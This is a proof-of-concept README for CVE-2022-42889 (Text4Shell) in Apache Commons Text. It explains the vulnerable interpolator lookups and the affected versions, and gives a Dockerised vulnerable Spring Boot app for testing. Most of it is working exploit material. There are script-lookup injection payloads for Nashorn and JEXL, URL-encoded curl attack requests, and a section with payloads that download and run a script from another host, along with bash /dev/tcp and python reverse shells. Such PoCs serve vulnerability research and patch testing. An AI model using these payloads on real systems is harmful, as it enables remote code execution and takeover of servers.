## https://sploitus.com/exploit?id=F47672CC-E0D9-5475-A922-50E104099285
# CVE-2022-42889 aka text4shell
PoC for recently discovered [vulnerability](https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/) in Apache Commons Text by [@pwntester](https://github.com/pwntester):
As mentioned in https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/:
>The vulnerability exists in the StringSubstitutor interpolator object. An interpolator is created by the StringSubstitutor.createInterpolator() method and will allow for string lookups as defined in the StringLookupFactory. This can be used by passing a string “${prefix:name}” where the prefix is the aforementioned lookup. Using the “script”, “dns”, or “url” lookups would allow a crafted string to execute arbitrary scripts when passed to the interpolator object.
# Affected versions
The affected Apache Commons Text versions are 1.5 through 1.9.
It has been patched in version 1.10.
# Conditions to be exploited
- Run a version of Apache Commons Text from version 1.5 to 1.9
- Use the [StringSubstitutor](https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html) interpolator class
To be remotely exploited, attacker controlled input must be used as input for the StringSubstitutor interpolation. In particular, in `StringSubstitutor.replace()` or `StringSubstitutor.replaceIn()` methods
# Other javascript script engines
Since JDK 15 the Nashorn JavaScript Engine was removed: https://openjdk.org/jeps/372.
But if third parties dependencies are included such as JEXL, RCE in Apache Commnos Text could happen (https://twitter.com/pwntester/status/1582321752566161409)
# Exploitation
## script interpolator
It can be exploited to gain RCE.
### JDK < 15
Nashorn engine:
```
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
```
### JDK 15+
If using third party JEXL:
```
${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}
```
## dns interpolator
It can lead to a DNS lookup:
```
${dns:address|commons.apache.org}
```
## url interpolator
It connects to the specified URL and tries to fetch the content:
```
${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}
```
# Manual compilation of PoC
Template based on https://start.spring.io/
```
mvn clean package -DskipTests
java -jar spring-boot-0.0.1-SNAPSHOT.jar
```
# Running app in Docker
## Using JVM 11
```
sudo docker build -t text4shell . -f Dockerfile.Java11
sudo docker run -p 8080:8080 text4shell
```
## Using JVM 19
```
sudo docker build -t text4shell . -f Dockerfile.Java19
sudo docker run -p 8080:8080 text4shell
```
# Provided POCs
There are different endpoints provided to test for the different attack vectors mentioned.
## /poc1
```
curl http://localhost:8080/poc1
```
## /poc2
```
curl http://localhost:8080/poc2
```
## /poc3
```
curl http://localhost:8080/poc3
```
## /message?text=
```
curl http://localhost:8080/message
curl http://localhost:8080/message?text=1
```
Using Nashorn:
```
curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D
```
Using JEXL:
```
curl http://localhost:8080/message?text=%24%7Bscript%3AJEXL%3A%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27touch%20%2Ftmp%2Fpwned%27)%7D
```
# Get a reverse shell
Just to be simple I am using the default Docker interface for netcat listener.
Poking around, I came up with these payloads with bash and python reverse shells working ok:
```
${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://172.17.0.1:3333/rev.sh -o /tmp/rev.sh')}
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}
```
Where rev.sh is served with these possible contents:
```
bash -i >& /dev/tcp/172.17.0.1/5555 0>&1
```
```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```
# References
- https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/
- https://sysdig.com/blog/cve-2022-42889-text4shell/
- https://nakedsecurity.sophos.com/2022/10/18/dangerous-hole-in-apache-commons-text-like-log4shell-all-over-again/
- https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/
- https://www.cyberkendra.com/2022/10/apache-commons-text-code-execution.html
- https://twitter.com/pwntester/status/1583189642471706624
- https://twitter.com/pyn3rd/status/1582729285005037568
- https://medium.com/@cxzero/text4shell-cve-2022-42889-brief-vulnerability-analysis-and-exploitation-fe13a0baadbb
# Credits to other PoCs
- https://github.com/SeanWrightSec/CVE-2022-42889-PoC/
- https://github.com/korteke/CVE-2022-42889-POC
- https://github.com/karthikuj/cve-2022-42889-text4shell-docker
- https://github.com/ClickCyber/cve-2022-42889/blob/main/CVE-2022-42889.php
- https://github.com/kljunowsky/CVE-2022-42889-text4shell
- https://github.com/securekomodo/text4shell-poc